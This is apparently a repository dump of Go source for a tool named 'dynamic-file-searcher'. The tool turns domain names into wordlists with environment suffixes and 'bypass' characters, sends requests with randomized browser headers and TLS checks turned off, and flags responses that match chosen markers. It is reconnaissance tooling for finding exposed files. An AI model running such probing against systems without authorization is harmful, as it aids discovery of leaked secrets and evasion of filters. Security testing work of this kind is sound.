"com.au", "com.br", "com.cn", "com.mx", "com.tr", "com.tw", "edu.au", "edu.cn", "edu.hk", "edu.sg", "gov.uk", "net.au", "net.cn", "org.au", "org.uk", "ac.uk", "ac.nz", "ac.jp", "ac.kr", "ne.jp", "or.jp", "org.nz", "govt.nz", "sch.uk", "nhs.uk", // Generic TLDs (gTLDs) "com", "org", "net", "edu", "gov", "int", "mil", "aero", "biz", "cat", "coop", "info", "jobs", "mobi", "museum", "name", "pro", "tel", "travel", "xxx", "asia", "arpa", // New gTLDs "app", "dev", "io", "ai", "cloud", "digital", "online", "store", "tech", "site", "website", "blog", "shop", "agency", "expert", "software", "studio", "design", "education", "healthcare", // Country Code TLDs (ccTLDs) "ac", "ad", "ae", "af", "ag", "ai", "al", "am", "an", "ao", "aq", "ar", "as", "at", "au", "aw", "ax", "az", "ba", "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "cc", "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", "dz", "ec", "ee", "eg", "er", "es", "et", "eu", "fi", "fj", "fk", "fm", "fo", "fr", "ga", "gb", "gd", "ge", "gf", "gg", "gh", "gi", "gl", "gm", "gn", "gp", "gq", "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", "hu", "id", "ie", "il", "im", "in", "io", "iq", "ir", "is", "it", "je", "jm", "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", "ru", "rw", "sa", "sb", "sc", "sd", "se", "sg", "sh", "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "su", "sv", "sy", "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", "to", "tp", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "uk", "us", "uy", "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wf", "ws", "ye", "yt", "za", "zm", "zw", } func splitDomain(host string, cfg *config.Config) []string { // Strip protocol if strings.HasPrefix(host, "http://") { host = strings.TrimPrefix(host, "http://") } if strings.HasPrefix(host, "https://") { host = strings.TrimPrefix(host, "https://") } // Get just the domain part host = strings.Split(host, "/")[0] // Skip IP addresses if ipv4Regex.MatchString(host) || ipv6Regex.MatchString(host) { return nil } // Remove port if present host = strings.Split(host, ":")[0] // Remove IP-like parts host = ipPartRegex.ReplaceAllString(host, "") // Remove hash-like parts host = md5Regex.ReplaceAllString(host, "") // Remove TLD host = removeTLD(host) // Remove regional parts host = regionPartRegex.ReplaceAllString(host, "") // Standardize separators host = strings.ReplaceAll(host, "--", "-") host = strings.ReplaceAll(host, "..", ".") host = strings.ReplaceAll(host, "__", "_") // Split into parts by dot parts := strings.Split(host, ".") // Remove "www" if it's the first part if len(parts) > 0 && parts[0] == "www" { parts = parts[1:] } // Limit host depth if configured if cfg.HostDepth > 0 && len(parts) >= cfg.HostDepth { parts = parts[:cfg.HostDepth] } // Pre-allocate the map with a reasonable capacity estimatedCapacity := len(parts) * 3 // Rough estimate for parts and subparts relevantParts := make(map[string]struct{}, estimatedCapacity) // Process each part for _, part := range parts { relevantParts[part] = struct{}{} // Split by separators subParts := strings.FieldsFunc(part, func(r rune) bool { return r == '-' || r == '_' }) // Add each subpart for _, subPart := range subParts { relevantParts[subPart] = struct{}{} } } // Estimate final result size estimatedResultSize := len(relevantParts) if !cfg.NoEnvAppending { // If we'll be adding env variants, estimate additional capacity estimatedResultSize += len(relevantParts) * len(cfg.AppendEnvList) * 4 } // Allocate result slice with appropriate capacity result := make([]string, 0, estimatedResultSize) // Process each relevant part for part := range relevantParts { // Skip purely numeric parts if _, err := strconv.Atoi(part); err == nil { continue } // Skip single characters if len(part) <= 1 { continue } // If part matches environment pattern, add a version without it if envRegex.MatchString(part) { result = append(result, strings.TrimSuffix(part, envRegex.FindString(part))) } // If part ends with numbers, add a version without the numbers if suffixNumberRegex.MatchString(part) { result = append(result, strings.TrimSuffix(part, suffixNumberRegex.FindString(part))) } // Add the original part result = append(result, part) } // Add environment variants if enabled if !cfg.NoEnvAppending { baseLength := len(result) for i := 0; i < baseLength; i++ { part := result[i] // Skip parts that aren't purely alphabetic if !onlyAlphaRegex.MatchString(part) { continue } // Skip if part already ends with an environment suffix shouldBeAdded := true for _, env := range cfg.AppendEnvList { if strings.HasSuffix(part, env) { shouldBeAdded = false break } } if shouldBeAdded { for _, env := range cfg.AppendEnvList { // Skip if part already contains the environment name if strings.Contains(part, env) { continue } // Add variants with different separators result = append(result, part+env) result = append(result, part+"-"+env) result = append(result, part+"_"+env) result = append(result, part+"/"+env) } } } } // Remove environment suffixes if enabled if cfg.EnvRemoving { baseLength := len(result) for i := 0; i < baseLength; i++ { part := result[i] // Skip parts that aren't purely alphabetic if !onlyAlphaRegex.MatchString(part) { continue } // If the part ends with a known env word, produce a version with that suffix trimmed for _, env := range cfg.AppendEnvList { if strings.HasSuffix(part, env) { result = append(result, strings.TrimSuffix(part, env)) break } } } } // Clean up results (trim separators) cleanedResult := make([]string, 0, len(result)) for _, item := range result { trimmed := strings.Trim(item, ".-_") if trimmed != "" { cleanedResult = append(cleanedResult, trimmed) } } // Add short prefixes (3 and 4 character) for common patterns baseLength := len(cleanedResult) additionalItems := make([]string, 0, baseLength*2) for i := 0; i < baseLength; i++ { word := cleanedResult[i] if len(word) >= 3 { additionalItems = append(additionalItems, word[:3]) } if len(word) >= 4 { additionalItems = append(additionalItems, word[:4]) } } // Combine all items result = append(cleanedResult, additionalItems...) // Deduplicate result = makeUniqueList(result) // Add bypass character variants if enabled if cfg.AppendByPassesToWords { baseLength := len(result) bypassVariants := make([]string, 0, baseLength*len(byPassCharacters)) for i := 0; i < baseLength; i++ { for _, bypass := range byPassCharacters { bypassVariants = append(bypassVariants, result[i]+bypass) } } result = append(result, bypassVariants...) } return result } func GetRelevantDomainParts(host string, cfg *config.Config) []string { return splitDomain(host, cfg) } func makeUniqueList(input []string) []string { // Use a map for deduplication seen := make(map[string]struct{}, len(input)) result := make([]string, 0, len(input)) for _, item := range input { if _, exists := seen[item]; !exists { seen[item] = struct{}{} result = append(result, item) } } return result } func GetDomains(domainsFile, singleDomain string) []string { if domainsFile != "" { allLines := utils.ReadLines(domainsFile) // Pre-allocate with a capacity based on the number of lines validDomains := make([]string, 0, len(allLines)) for _, line := range allLines { trimmedLine := strings.TrimSpace(line) if trimmedLine != "" && !strings.HasPrefix(trimmedLine, "#") { validDomains = append(validDomains, trimmedLine) } } validDomains = utils.ShuffleStrings(validDomains) return validDomains } // Return single domain as a slice return []string{singleDomain} } func removeTLD(host string) string { host = strings.ToLower(host) parts := strings.Split(host, ".") // Iterate through possible multi-part TLDs for i := 0; i < len(parts); i++ { potentialTLD := strings.Join(parts[i:], ".") if _, exists := commonTLDsMap[potentialTLD]; exists { return strings.Join(parts[:i], ".") } } return host } ``` ## /pkg/fasthttp/client.go ```go path="/pkg/fasthttp/client.go" package fasthttp import ( "bytes" "crypto/tls" "fmt" "github.com/confusedspe/dynamic-file-searcher/pkg/config" "github.com/confusedspe/dynamic-file-searcher/pkg/result" "github.com/valyala/fasthttp" "math/rand" "strconv" "strings" ) var baseUserAgents = []string{ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", } var acceptLanguages = []string{ "en-US,en;q=0.9", "en-GB,en;q=0.8", "es-ES,es;q=0.9", "fr-FR,fr;q=0.9", "de-DE,de;q=0.8", "it-IT,it;q=0.9", } type Client struct { config config.Config client *fasthttp.Client } func NewClient(cfg config.Config) *Client { return &Client{ config: cfg, client: &fasthttp.Client{ ReadTimeout: cfg.Timeout, WriteTimeout: cfg.Timeout, DisablePathNormalizing: true, DisableHeaderNamesNormalizing: true, // Prevent automatic header modifications TLSConfig: &tls.Config{ InsecureSkipVerify: true, }, }, } } func (c *Client) MakeRequest(url string) result.Result { req := fasthttp.AcquireRequest() defer fasthttp.ReleaseRequest(req) req.SetRequestURI(url) req.URI().DisablePathNormalizing = true req.Header.DisableNormalizing() req.Header.SetMethod(fasthttp.MethodGet) req.Header.Set("Connection", "keep-alive") req.Header.SetProtocol("HTTP/1.1") req.Header.Set("Range", fmt.Sprintf("bytes=0-%d", c.config.MaxContentRead-1)) randomizeRequest(req) for key, value := range c.config.ExtraHeaders { req.Header.Set(key, value) } resp := fasthttp.AcquireResponse() defer fasthttp.ReleaseResponse(resp) client := &fasthttp.Client{ ReadTimeout: c.config.Timeout, WriteTimeout: c.config.Timeout, DisableHeaderNamesNormalizing: true, DisablePathNormalizing: true, TLSConfig: &tls.Config{ InsecureSkipVerify: true, }, } err := client.DoRedirects(req, resp, 0) if err == fasthttp.ErrMissingLocation { return result.Result{URL: url, Error: fmt.Errorf("error fetching: %w", err)} } if err != nil { return result.Result{URL: url, Error: fmt.Errorf("error fetching: %w", err)} } body := resp.Body() var totalSize int64 contentRange := resp.Header.Peek("Content-Range") if len(contentRange) > 0 { parts := bytes.Split(contentRange, []byte("/")) if len(parts) == 2 { totalSize, _ = strconv.ParseInt(string(parts[1]), 10, 64) } } else { totalSize = int64(len(body)) } if int64(len(body)) > c.config.MaxContentRead { body = body[:c.config.MaxContentRead] } return result.Result{ URL: url, Content: string(body), StatusCode: resp.StatusCode(), FileSize: totalSize, ContentType: string(resp.Header.Peek("Content-Type")), } } func randomizeRequest(req *fasthttp.Request) { req.Header.Set("User-Agent", getRandomUserAgent()) req.Header.Set("Accept-Language", getRandomAcceptLanguage()) referer := getReferer(req.URI().String()) req.Header.Set("Referer", referer) req.Header.Set("Origin", referer) req.Header.Set("Accept", "*/*") if rand.Float32() < 0.5 { req.Header.Set("DNT", "1") } if rand.Float32() < 0.3 { req.Header.Set("Upgrade-Insecure-Requests", "1") } } func getRandomUserAgent() string { baseUA := baseUserAgents[rand.Intn(len(baseUserAgents))] parts := strings.Split(baseUA, " ") for i, part := range parts { if strings.Contains(part, "/") { versionParts := strings.Split(part, "/") if len(versionParts) == 2 { version := strings.Split(versionParts[1], ".") if len(version) > 2 { version[2] = fmt.Sprintf("%d", rand.Intn(100)) versionParts[1] = strings.Join(version, ".") } } parts[i] = strings.Join(versionParts, "/") } } return strings.Join(parts, " ") } func getRandomAcceptLanguage() string { return acceptLanguages[rand.Intn(len(acceptLanguages))] } func getReferer(url string) string { return url } ``` ## /pkg/http/client.go ```go path="/pkg/http/client.go" package http import ( "context" "crypto/tls" "fmt" "io" "math/rand" "net/http" "strconv" "strings" "time" "github.com/confusedspe/dynamic-file-searcher/pkg/config" "github.com/confusedspe/dynamic-file-searcher/pkg/result" ) var baseUserAgents = []string{ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", } var acceptLanguages = []string{ "en-US,en;q=0.9", "en-GB,en;q=0.8", "es-ES,es;q=0.9", "fr-FR,fr;q=0.9", "de-DE,de;q=0.8", "it-IT,it;q=0.9", } type Client struct { httpClient *http.Client config config.Config } func NewClient(cfg config.Config) *Client { transport := &http.Transport{ MaxIdleConns: 100, MaxIdleConnsPerHost: 100, IdleConnTimeout: 90 * time.Second, TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } if cfg.ProxyURL != nil { transport.Proxy = http.ProxyURL(cfg.ProxyURL) } client := &http.Client{ Transport: transport, Timeout: cfg.Timeout + 3*time.Second, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } return &Client{ httpClient: client, config: cfg, } } func (c *Client) MakeRequest(url string) result.Result { ctx, cancel := context.WithTimeout(context.Background(), c.config.Timeout) defer cancel() req, err := http.NewRequestWithContext(ctx, "GET", url, nil) if err != nil { return result.Result{URL: url, Error: fmt.Errorf("error creating request: %w", err)} } randomizeRequest(req) for key, value := range c.config.ExtraHeaders { req.Header.Set(key, value) } req.Header.Set("Range", fmt.Sprintf("bytes=0-%d", c.config.MaxContentRead-1)) resp, err := c.httpClient.Do(req) if err != nil { return result.Result{URL: url, Error: fmt.Errorf("error fetching: %w", err)} } defer resp.Body.Close() buffer, err := io.ReadAll(resp.Body) if err != nil { return result.Result{URL: url, Error: fmt.Errorf("error reading body: %w", err)} } var totalSize int64 if contentRange := resp.Header.Get("Content-Range"); contentRange != "" { parts := strings.Split(contentRange, "/") if len(parts) == 2 { totalSize, _ = strconv.ParseInt(parts[1], 10, 64) } } else { totalSize = int64(len(buffer)) } return result.Result{ URL: url, Content: string(buffer), StatusCode: resp.StatusCode, FileSize: totalSize, ContentType: resp.Header.Get("Content-Type"), } } func randomizeRequest(req *http.Request) { req.Header.Set("User-Agent", getRandomUserAgent()) req.Header.Set("Accept-Language", getRandomAcceptLanguage()) referer := getReferer(req.URL.String()) req.Header.Set("Referer", referer) req.Header.Set("Origin", referer) req.Header.Set("Accept", "*/*") if rand.Float32() < 0.5 { req.Header.Set("DNT", "1") } if rand.Float32() < 0.3 { req.Header.Set("Upgrade-Insecure-Requests", "1") } } func getRandomUserAgent() string { baseUA := baseUserAgents[rand.Intn(len(baseUserAgents))] parts := strings.Split(baseUA, " ") for i, part := range parts { if strings.Contains(part, "/") { versionParts := strings.Split(part, "/") if len(versionParts) == 2 { version := strings.Split(versionParts[1], ".") if len(version) > 2 { version[2] = fmt.Sprintf("%d", rand.Intn(100)) versionParts[1] = strings.Join(version, ".") } } parts[i] = strings.Join(versionParts, "/") } } return strings.Join(parts, " ") } func getRandomAcceptLanguage() string { return acceptLanguages[rand.Intn(len(acceptLanguages))] } func getReferer(url string) string { return url } ``` ## /pkg/result/result.go ```go path="/pkg/result/result.go" package result import ( "github.com/confusedspe/dynamic-file-searcher/pkg/config" "github.com/fatih/color" "log" "net/url" "regexp" "strconv" "strings" "sync" ) type Result struct { URL string Content string Error error StatusCode int FileSize int64 ContentType string } type ResponseMap struct { shards [256]responseShard } type responseShard struct { mu sync.RWMutex responses map[uint64]struct{} } func fnv1aHash(data string) uint64 { var hash uint64 = 0xcbf29ce484222325 // FNV offset basis for i := 0; i < len(data); i++ { hash ^= uint64(data[i]) hash *= 0x100000001b3 // FNV prime } return hash } func NewResponseMap() *ResponseMap { rm := &ResponseMap{} for i := range rm.shards { rm.shards[i].responses = make(map[uint64]struct{}, 64) // Reasonable initial capacity } return rm } func (rm *ResponseMap) getShard(key string) *responseShard { // Use first byte of hash as shard key for even distribution return &rm.shards[fnv1aHash(key)&0xFF] } // Improved response tracking with better collision avoidance func (rm *ResponseMap) isNewResponse(host string, size int64) bool { // Create composite key key := host + ":" + strconv.FormatInt(size, 10) // Get the appropriate shard shard := rm.getShard(key) // Calculate full hash hash := fnv1aHash(key) // Check if response exists with minimal locking shard.mu.RLock() _, exists := shard.responses[hash] shard.mu.RUnlock() if exists { return false } // If not found, acquire write lock and check again shard.mu.Lock() defer shard.mu.Unlock() if _, exists := shard.responses[hash]; exists { return false } // Add new entry shard.responses[hash] = struct{}{} return true } func extractHost(urlStr string) string { parsedURL, err := url.Parse(urlStr) if err != nil { return urlStr } return parsedURL.Host } var tracker = NewResponseMap() func ProcessResult(result Result, cfg config.Config, markers []string) { if result.Error != nil { if cfg.Verbose { log.Printf("Error processing %s: %v\n", result.URL, result.Error) } return } // Check if content type is disallowed first DisallowedContentTypes := strings.ToLower(cfg.DisallowedContentTypes) DisallowedContentTypesList := strings.Split(DisallowedContentTypes, ",") if isDisallowedContentType(result.ContentType, DisallowedContentTypesList) { return } // Check if content contains disallowed strings DisallowedContentStrings := strings.ToLower(cfg.DisallowedContentStrings) DisallowedContentStringsList := strings.Split(DisallowedContentStrings, ",") if containsDisallowedStringInContent(result.Content, DisallowedContentStringsList) { return } markerFound := false hasMarkers := len(markers) > 0 usedMarker := "" if hasMarkers { for _, marker := range markers { if strings.HasPrefix(marker, "regex:") == false && strings.Contains(result.Content, marker) { markerFound = true usedMarker = marker break } if strings.HasPrefix(marker, "regex:") { regex := strings.TrimPrefix(marker, "regex:") if match, _ := regexp.MatchString(regex, result.Content); match { markerFound = true usedMarker = marker break } } } } rulesMatched := 0 rulesCount := 0 if cfg.HTTPStatusCodes != "" { rulesCount++ } if cfg.MinContentSize > 0 { rulesCount++ } if cfg.ContentTypes != "" { rulesCount++ } if cfg.HTTPStatusCodes != "" { AllowedHttpStatusesList := strings.Split(cfg.HTTPStatusCodes, ",") for _, AllowedHttpStatusString := range AllowedHttpStatusesList { allowedStatus, err := strconv.Atoi(strings.TrimSpace(AllowedHttpStatusString)) if err != nil { log.Printf("Error converting status code '%s' to integer: %v", AllowedHttpStatusString, err) continue } if result.StatusCode == allowedStatus { rulesMatched++ break } } } // Check content size if cfg.MinContentSize > 0 && result.FileSize >= cfg.MinContentSize { rulesMatched++ } // Check content types if cfg.ContentTypes != "" { AllowedContentTypes := strings.ToLower(cfg.ContentTypes) AllowedContentTypesList := strings.Split(AllowedContentTypes, ",") ResultContentType := strings.ToLower(result.ContentType) for _, AllowedContentTypeString := range AllowedContentTypesList { if strings.Contains(ResultContentType, AllowedContentTypeString) { rulesMatched++ break } } } // Determine if rules match rulesPass := rulesCount == 0 || (rulesCount > 0 && rulesMatched == rulesCount) // Final decision based on both markers and rules if (hasMarkers && !markerFound) || (rulesCount > 0 && !rulesPass) { // If we have markers but didn't find one, OR if we have rules but they didn't pass, skip if cfg.Verbose { log.Printf("Skipped: %s (Status: %d, Size: %d bytes, Type: %s)\n", result.URL, result.StatusCode, result.FileSize, result.ContentType) } return } host := extractHost(result.URL) if !cfg.DisableDuplicateCheck { if !tracker.isNewResponse(host, result.FileSize) { if cfg.Verbose { log.Printf("Skipped duplicate response size %d for host %s\n", result.FileSize, host) } return } } // If we get here, all configured conditions were met color.Red("\n[!]\tMatch found in %s", result.URL) if hasMarkers { color.Red("\tMarkers check: passed (%s)", usedMarker) } color.Red("\tRules check: passed (S: %d, FS: %d, CT: %s)", result.StatusCode, result.FileSize, result.ContentType) content := result.Content content = strings.ReplaceAll(content, "\n", "") if len(content) > 150 { color.Green("\n[!]\tBody: %s\n", content[:150]) } else { color.Green("\n[!]\tBody: %s\n", content) } if cfg.Verbose { log.Printf("Processed: %s (Status: %d, Size: %d bytes, Type: %s)\n", result.URL, result.StatusCode, result.FileSize, result.ContentType) } } func containsDisallowedStringInContent(contentBody string, DisallowedContentStringsList []string) bool { if len(DisallowedContentStringsList) == 0 { return false } for _, disallowedContentString := range DisallowedContentStringsList { if disallowedContentString == "" { continue } if strings.Contains(contentBody, disallowedContentString) { return true } } return false } func isDisallowedContentType(contentType string, DisallowedContentTypesList []string) bool { if len(DisallowedContentTypesList) == 0 { return false } for _, disallowedContentType := range DisallowedContentTypesList { if disallowedContentType == "" { continue } if strings.Contains(contentType, disallowedContentType) { return true } } return false } ``` ## /pkg/utils/utils.go ```go path="/pkg/utils/utils.go" package utils import ( "bufio" "log" "math/rand" "os" ) func ReadLines(filename string) []string { file, err := os.Open(filename) if err != nil { log.Fatalf("Error opening file %s: %v\n", filename, err) } defer file.Close() var lines []string scanner := bufio.NewScanner(file) for scanner.Scan() { lines = append(lines, scanner.Text()) } if err := scanner.Err(); err != nil { log.Fatalf("Error reading file %s: %v\n", filename, err) } return lines } func ShuffleStrings(slice []string) []string { for i := len(slice) - 1; i > 0; i-- { j := rand.Intn(i + 1) slice[i], slice[j] = slice[j], slice[i] } return slice } ``` The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.